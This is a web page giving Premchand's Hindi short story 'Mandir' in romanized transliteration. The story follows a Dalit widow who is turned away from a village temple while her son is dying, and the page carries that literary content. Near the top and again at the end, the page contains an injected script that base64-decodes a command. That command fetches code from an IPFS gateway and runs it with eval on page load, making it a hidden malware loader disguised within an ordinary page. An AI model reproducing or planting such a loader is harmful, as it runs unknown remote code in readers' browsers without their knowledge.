मंदिर -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

matri-prem, tujhe dhany hai ! sansar mean aur jo kuchh hai, mithya hai, nissar hai. matri-prem hi saty hai, akshay hai, anashvar hai. tin din se sukhiya ke muanh mean n ann ka ek dana gaya tha, n pani ki ek booand. samane pual par mata ka nanha-sa lal p da karah raha tha. aj tin din se usane aankhean n kholi thian. kabhi use god mean utha leti, kabhi pual par sula deti. hansate-khelate balak ko achanak kya ho gaya, yah koee nahian batata. aisi dasha mean mata ko bhookh aur pyas kahaan ? ek bar pani ka ek ghooant muanh mean liya tha; par kanth ke niche n le ja saki. is dukhiya ki vipatti ka varapar n tha. sal bhar ke bhitar do balak ganga ji ki god mean sauanp chuki thi. patidev pahale hi sidhar chuke the. ab us abhagini ke jivan ka adhar, avalamb, jo kuchh tha, yahi balak tha. hay ! kya eeshvar ise bhi isaki god se chhin lena chahate haian ? yah kalpana karate hi mata ki aankhoan se jhar-jhar aansoo bahane lagate the. is balak ko vah kshan bhar ke lie bhi akela n chho dati thi. use sath lekar ghas chhilane jati. ghas bechane bazar jati to balak god mean hota. usake lie usane nanhi-si khurapi aur nanhi-si khaanchi banava di thi. jiyavan mata ke sath ghas chhilata aur garv se kahata, ‘ammaan, hamean bhi b di-si khurapi banava do, ham bahut-si ghas chhileange,tum dvare machi par baithi rahana, ammaan,maian ghas bech laooanga. ‘maan poochhati, ‘mere lie kya-kya laoge, beta ? ‘   jiyavan lal-lal sa diyoan ka vada karata. apane lie bahut-sa gu d lana chahata tha. ve hi bholi-bholi batean is samay yad a-akar mata ke hriday ko shool ke saman bedh rahi thian. jo balak ko dekhata, yahi kahata ki kisi ki dith hai; par kisaki dith hai ? is vidhava ka bhi sansar mean koee vairi hai ? agar usaka nam maloom ho jata, to sukhiya jakar usake charanoan par gir p dati aur balak ko usaki god mean rakh deti. kya usaka hriday daya se n pighal jata ? par nam koee nahian batata. hay ! kisase poochhe, kya kare ? tin pahar rat bit chuki thi. sukhiya ka chianta-vyathit chanchal man kothe-kothe dau d raha tha. kis devi ki sharan jae, kis devata ki manauti kare, isi soch mean p de-p de use ek jhapaki a gayi. kya dekhati hai ki usaka svami akar balak ke sirahane kh da ho jata hai aur balak ke sir par hath pher kar kahata hai, ‘ro mat, sukhiya ! tera balak achchha ho jayaga. kal thakur ji ki pooja kar de, vahi tere sahayak hoange.‘ yah kahakar vah chala gaya. sukhiya ki aankh khul gayi. avashy hi usake patidev aye the. isamean sukhiya ko zara bhi sandeh n hua. unhean ab bhi meri sudhi hai, yah soch kar usaka hriday asha se pariplavit ho utha. pati ke prati shrriddha aur prem se usaki aankhean sajag ho gayian. usane balak ko god mean utha liya aur akash ki or takati huee boli, ‘bhagavan ! mera balak achchha ho jae, to maian tumhari pooja karooangi. anath vidhava par daya karo.‘ usi samay jiyavan ki aankhean khul gayian. usane pani maanga. mata ne dau d kar katore mean pani liya aur bachche ko pila diya. jiyavan ne pani pikar kaha, ‘ammaan rat hai ki din ? ‘ sukhiya- ‘‘abhi to rat hai beta, tumhara ji kaisa hai ? ‘ jiyavan- ‘‘achchha hai ammaan ! ab maian achchha ho gaya.‘ sukhiya- ‘‘tumhare muanh mean ghi-shakkar, beta, bhagavanh kare tum jald achchhe ho jao ! kuchh khane ko ji chahata hai ? ‘ jiyavan- ‘haan ammaan, tho da-sa gu d de do.‘ sukhiya- ‘gu d mat khao bhaiya, avagun karega. kaho to khich di bana dooan.‘ jiyavan- ‘nahian meri ammaan, jara-sa gu d de do, tere pairoan padooan.‘ mata is agrah ko n tal saki. usane tho da-sa gu d nikal kar jiyavan ke hath mean rakh diya aur haan di ka dhakkan lagane ja rahi thi ki kisi ne bahar se avaz di. haan di vahian chho d kar vah kiva d kholane chali gayi. jiyavan ne gu d ki do piandiyaan nikal lian aur jaldi-jaldi chat kar gaya. din bhar jiyavan ki tabiyat achchhi rahi. usane tho di-si khich di khayi, do-ek bar dhire-dhire dvar par bhi aya aur hamajoliyoan ke sath khel n sakane par bhi unhean khelate dekhakar usaka ji bahal gaya. sukhiya ne samajha, bachcha achchha ho gaya. do-ek din mean jab paise hath mean a jaeeange, to vah e k din thakur ji ki pooja karane chali jayagi. ja de ke din jhadoo-baharoo, nahane-dhone aur khane-pine mean kat gaye; magar jab sandhya samay phir jiyavan ka ji bhari ho gaya, tab sukhiya ghabara uthi. turant man mean shanka utpann huee ki pooja mean vilamb karane se hi balak phir murajha gaya hai. abhi tho da-sa din baki tha. bachche ko leta kar vah pooja ka saman taiyar karane lagi. phool to zamiandar ke bagiche mean mil gaye. tulasidal dvar hi par tha; par thakur ji ke bhog ke lie kuchh mishthann to chahie; nahian to gaanv valoan ko baantegi kya ! chadhane ke lie kam se kam ek ana to chahie. sara gaanv chhan ayi, kahian paise udhar n mile. ab vah hatash ho gayi. hay re adin ! koee char ane paise bhi nahian deta. akhir usane apane hathoan ke chaandi ke k de utare aur dau di huee baniye ki dookan par gayi, k de giroan rakhe, batase liye aur dau di huee ghar ayi. pooja ka saman taiyar ho gaya, to usane balak ko god mean uthaya aur doosare hath mean pooja ki thali liye mandir ki or chali. mandir mean arati ka ghanta baj raha tha. das-paanch bhaktajan kh de stuti kar rahe the. itane mean sukhiya jakar mandir ke samane kh di ho gayi. pujari ne poochha, ‘kya hai re ? kya karane ayi hai ? ‘ sukhiya chabootare par akar boli, ‘thakur ji ki manauti ki thi maharaj, pooja karane ayi hooan.‘ pujari ji din bhar zamidar ke asamiyoan ki pooja kiya karate the aur sham-sabere thakur ji ki. rat ko mandir hi mean sote the, mandir hi mean apaka bhojan bhi banata tha, jisase thakuradvare ki sari astarakari kali p d gayi thi. svabhav ke b de dayalu the, nishthavan aise ki chahe kitani hi thand p de, kitani hi thandi hava chale, bina snan kiye muanh mean pani tak n dalate the. agar is par bhi unake hathoan aur pairoan mean mail ki moti tah jami huee thi, to isamean unaka kaee dosh n tha ! bole, ‘to kya bhitar chali ayegi. ho to chuki pooja. yahaan akar bharabhasht karegi.‘ ek bhaktajan ne kaha, ‘thakur ji ko pavitr karane ayi hai ?‘ sukhiya ne b di dinata se kaha, ‘thakur ji ke charan chhoone ayi hooan, sarakar ! pooja ki sab samagri layi hooan.‘ pujari, ‘kaisi besamajhi ki bat karati hai re, kuchh pagali to nahian ho gayi hai. bhala too thakur ji ko kaise chhuegi ? ‘ sukhiya ko ab tak kabhi thakuradvare mean ane ka avasar n mila tha. ashchary se boli, ‘sarakar, vah to sansar ke malik haian. unake darasan se to papi bhi tar jata hai, mere chhoone se unhean kaise chhoot lag jayagi ? ‘ pujari, ‘are, too chamarin hai ki nahian re ? ‘ sukhiya- ‘to kya bhagavanh ne chamaroan ko nahian siraja hai ? chamaroan ka bhagavanh koee aur hai ? is bachche ki manauti hai, sarakar ! ‘ is par vahi bhakt mahoday, jo ab stuti samapt kar chuke the, dapatakar bole, ‘mar ke bhaga do chu dail ko. bharabhasht karane ayi hai, pheank do thali-vali. sansar mean to ap hi ag lagi huee hai, chamar bhi thakur ji ki pooja karane lageange, to pirathi rahegi ki rasatal ko chali jayagi ? ‘ doosare bhakt mahashay bole, ‘ab bechare thakur ji ko bhi chamaroan ke hath ka bhojan karana p dega. ab paralay hone mean kuchh kasar nahian hai.‘thand p d rahi thi; sukhiya kh di kaanp rahi thi aur yahaan dharm ke thekedar log samay ki gati par alochanaean kar rahe the. bachcha mare thand ke usaki chhati mean ghusa jata tha; kintu sukhiya vahaan se hatane ka nam n leti thi. aisa maloom hota tha ki usake donoan paanv bhoomi mean g d gaye haian. rah-rahakar usake hriday mean aisa udgar uthata tha ki jakar thakur ji ke charanoan par gir p de. thakur ji kya inhian ke haian, ham gariboan ka unase koee nata nahian hai, ye log hote haian kaun rokanevale; par yah bhay hota tha ki in logoan ne kahian sachamuch thali-vali pheank di to kya karooangi ? dil mean aianth kar rah jati thi. sahasa use ek bat soojhi. vah vahaan se kuchh door ja kar ek vriksh ke niche aandhore mean chhip kar in bhaktajanoan ke jane ki rah dekhane lagi. arati aur stuti ke pashchath bhaktajan b di der tak shrimadbhagavat ka path karate rahe. udhar pujari ji ne choolha jalaya aur khana pakane lage. choolhe ke samane baithe hue 'hooan-hooan' karate jate the aur bich-bich mean tippaniyaan bhi karate jate the. das baje rat tak katha varta hoti rahi aur sukhiya vriksh ke niche dhayanavastha mean kh di rahi. sare bhakt logoan ne ek-ek karake ghar ki rah li. pujari ji akele rah gaye. ab sukhiya akar mandir ke baramade ke samane kh di ho gayi; jahaan pujari ji asan jamaye bataloee ka kshudhavardhak madhur sangit sunane mean magn the. pujari ji ne ahat pa kar garadan uthayi, to sukhiya ko kh di dekha. chidhakar bole, 'kyoan re, too abhi tak kh di hai ! ' sukhiya ne thali zamin par rakh di aur ek hath phaila kar bhiksha-prarthana karati huee boli, 'maharaj ji, maian abhagini hooan. yahi balak mere jivan ka alam hai, mujh par daya karo. tin din se isane sir nahian uthaya. tumhean b da jas hoga, maharaj ji ! ' yah kahate-kahate sukhiya rone lagi. pujari ji dayalu to the, par chamarin ko thakur ji ke samip jane dene ka ashrutapoorv ghor patak vah kaise kar sakate the ? n jane thakur ji isaka kya dand dean. akhir unake bhi bal-bachche the. kahian thakur ji kupit ho kar gaanv ka sarvanash kar dean, to ? bole, 'ghar ja kar bhagavanh ka nam le, tera balak achchha ho jayaga. maian yah tulasidal deta hooan, bachche ko khila de, charanamrit usaki aankhoan mean laga de. bhagavanh chaheange to sab achchha hi hoga.' sukhiya- ‘thakur ji ke charanoan par girane n doge maharaj ji ? b di dukhiya hooan, udhar kadh kar pooja ki samagri jutayi hai. maianne kal sapana dekha tha, maharaj ji ki thakur ji ki pooja kar, tera balak achchha ho jayaga. tabhi dau di ayi hooan. mere pas ek rupaya hai. vah mujhase le lo; par mujhe ek chhan bhar thakur ji ke charanoan par gir lene do.' is pralobhan ne pandit ji ko ek kshan ke lie vichalit kar diya; kiantu moorkhata ke karan eeshvar ka bhay unake man mean kuchh-kuchh baqi tha. sanbhal kar bole, 'ari pagali, thakur ji bhaktoan ke man ka bhav dekhate haian ki charan par girana dekhate haian. suna nahian hai, 'man changa to kathauti mean ganga.' man mean bhakti n ho, to lakh koee bhagavanh ke charanoan par gire, kuchh n hoga. mere pas ek jantar hai. dam to usaka bahut hai; par tujhe ek hi rupaye mean de dooanga. use bachche ke gale mean baandha dena; bas, kal bachcha khelane lagega.' sukhiya- ‘thakur ji ki pooja n karane doge ? ' pujari, 'tere lie itani hi pooja bahut hai. jo bat kabhi nahian huee, vah aj maian kar dooan aur gaanv par koee aphat-bipat a p de to kya ho, ise bhi to socho ! too yah jantar le ja, bhagavanh chaheange to rat hi bhar mean bachche ka klesh kat jayaga. kisi ki dith p d gayi hai. hai bhi to chanchal. maloom hota hai, chhattari bans hai.' sukhiya- ‘jab se ise jvar hai, mere pran nahoan mean samaye hue haian. ' pujari, 'b da honahar balak hai. bhagavanh zila dean to tere sare sankat har lega. yahaan to bahut khelane aya karata tha. idhar do-tin din se nahian dekha tha.' sukhiya- ‘to jantar ko kaise baandhooangi, maharaj ? ' pujari, maian kap de mean baandha kar deta hooan. bas, gale mean pahana dena. ab too is bela navin bastar kahaan khojane jayagi.' sukhiya ne do rupaye par k de giroan rakhe the. ek pahale hi bhanj chuka tha. doosara pujari ji ko bheant kiya aur jantar le kar man ko samajhati huee ghar laut ayi. sukhiya ne ghar pahuanchakar balak ke gale mean jantar baandha diya; par jyoan-jyoan rat guzarati thi, usaka jvar bhi badhata jata tha, yahaan tak ki tin bajate-bajate usake hath-paanv shital hone lage ! tab vah ghab da uthi aur sochane lagi, hay ! maian vyarth hi sankoch mean p di rahi aur bina thakur ji ke darshan kiye chali ayi. agar maian andar chali jati aur bhagavanh ke charanoan par gir p dati, to koee mera kya kar leta ? yahi n hota ki log mujhe dhakke dekar nikal dete, shayad marate bhi, par mera manorath to poora ho jata. yadi maian thakur ji ke charanoan ko apane aansuoan se bhigo deti aur bachche ko unake charanoan mean sula deti, to kya unhean daya n ati ? vah to dayamay bhagavanh haian, dinoan ki raksha karate haian, kya mujh par daya n karate ? yah soch kar sukhiya ka man adhir ho utha. nahian, ab vilamb karane ka samay n tha. vah avashy jayagi aur thakur ji ke charanoan par gir kar royegi. us abala ke ashankit hriday ka ab isake siva aur koee avalamb, koee asara n tha. mandir ke dvar band hoange, to vah tale to d dalegi. thakur ji kya kisi ke hathoan bik gaye haian ki koee unhean band kar rakhe. rat ke tin baj gaye the. sukhiya ne balak ko kambal se dhaanp kar god mean uthaya, ek hath mean thali uthayi aur mandir ki or chali. ghar se bahar nikalate hi shital vayu ke jhoankoan se usaka kaleja kaanpane laga. shit se paanv shithil hue jate the. us par charoan or aandhakar chhaya hua tha. rasta do pharalaang se kam n tha. pagadandi vrikshoan ke niche-niche gayi thi. kuchh door dahini or ek pokhara tha, kuchh door  baans ki kothiyaan. pokhare mean ek dhobi mar gaya tha aur baans ki kothiyoan mean chu dailoan ka av tha. bayian or hare-bhare khet the. charoan or san-san ho raha tha, aandhakar saany-saany kar raha tha. sahasa gid doan ne karkash svar mean huaan-huaan karana shuroo kiya. hay ! agar koee use ek lakh rupaya deta, to bhi is samay vah yahaan n ati; par balak ki mandir sari shankaoan ko dabaye hue thi. 'he bhagavanh ! ab tumhara hi asara hai !' yah japati vah mandir ki or chali ja rahi thi. mandir ke dvar par pahuanch kar sukhiya ne janjir tatolakar dekhi. tala p da hua tha. pujari ji baramade se mili huee kothari mean kiva d band kiye so rahe the. charoan or aandhera chhaya hua tha. sukhiya chabootare ke niche se ek eeant utha layi aur zor-zor se tale par patakane lagi. usake hathoan mean n jane itani shakti kahaan se a gayi thi. do hi tin chotoan mean tala aur eeant donoan toot kar chaukhat par gir p de. sukhiya ne dvar khol diya aur aandar jana hi chahati thi ki pujari kiva d khol kar h dab daye hue bahar nikal aye aur 'chor, chor !' ka gul machate gaanv ki or dau de. ja doan mean pray: pahar rat rahe hi logoan ki niand khul jati hai. yah shor sunate hi kee adami idhar-udhar se lalatenean liye hue nikal p de aur poochhane lage, kahaan hai ? kahaan hai ? kidhar gaya ?

pujari, mandir ka dvar khula p da hai. maianne khat-khat ki avaz suni. sahasa sukhiya baramade se nikal kar chabootare par ayi aur boli, chor nahian hai, maian hooan; thakur ji ki pooja karane ayi thi. abhi to aandar gayi bhi nahian, mar halla macha diya. pujari ne kaha, 'ab anarth ho gaya ! sukhiya mandir mean ja kar thakur ji ko bhrasht kar ayi ! '

phir kya tha, kee adami jhallaye hue lapake aur sukhiya par latoan aur ghooansoan ki mar p dane lagi. sukhiya ek hath se bachche ko pak de hue thi aur doosare hath se usaki raksha kar rahi thi. ekaek balishth thakur ne use itani zor se dhakka diya ki balak usake hath se chhoot kar zamin par gir p da; magar vah n roya, n bola, n saans li, sukhiya bhi gir p di thi. sanbhal kar bachche ko uthane lagi, to usake mukh par nazar p di. aisa jan p da mano pani mean parachhaeean ho. usake muanh se ek chikh nikal gayi. bachche ka matha chhoo kar dekha. sari deh thandi ho gayi thi. ek lambi saans khianch kar vah uth kh di huee. usaki aankhoan mean aansoo n aye. usaka mukh krodh ki jvala se tamatama utha, aankhoan se aangare barasane lage. donoan mutthiyaan bandh gayian. daant pisakar boli, ' papiyo, mere bachche ke pran le kar door kyoan kh de ho ? mujhe bhi kyoan nahian usi ke sath mar dalate ? mere chhoo lene se thakur ji ko chhoot lag gayi ? paras ko chhoo kar loha sona ho jata hai, paras loha nahian ho sakata. mere chhoone se thakur ji apavitr ho jaeange ! mujhe banaya, to chhoot nahian lagi ? lo, ab kabhi thakur ji ko chhoone nahian aooangi. tale mean band rakho, pahara baitha do. hay, tumhean daya chhoo bhi nahian gayi ! tum itane kathor ho ! bal-bachchevale ho kar bhi tumhean ek abhagin mata par daya n ayi ! tisapar dharam ke thekedar banate ho ! tum sab ke sab hatyare ho, nipat hatyare ho. daro mat, maian thana-pulis nahian jaooangi. mera nyay bhagavanh kareange, ab unhian ke darabar mean phariyad karooangi.'

kisi ne chooan n ki, koee minaminaya tak nahian. pashan-moortiyoan ki bhaanti sab ke sab sir jhukaye kh de rahe. itani der mean sara gaanv jama ho gaya tha. sukhiya ne ek bar phir balak ke muanh ki or dekha. muanh se nikala, hay mere lal ! phir vah moorchchhit hokar gir p di. pran nikal gaye. bachche ke lie pran de diye. mata, too dhany hai. tujh-jaisi nishtha, tujh-jaisi shrriddha, tujh-jaisa vishvas devataoan ko bhi durlabh hai !

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>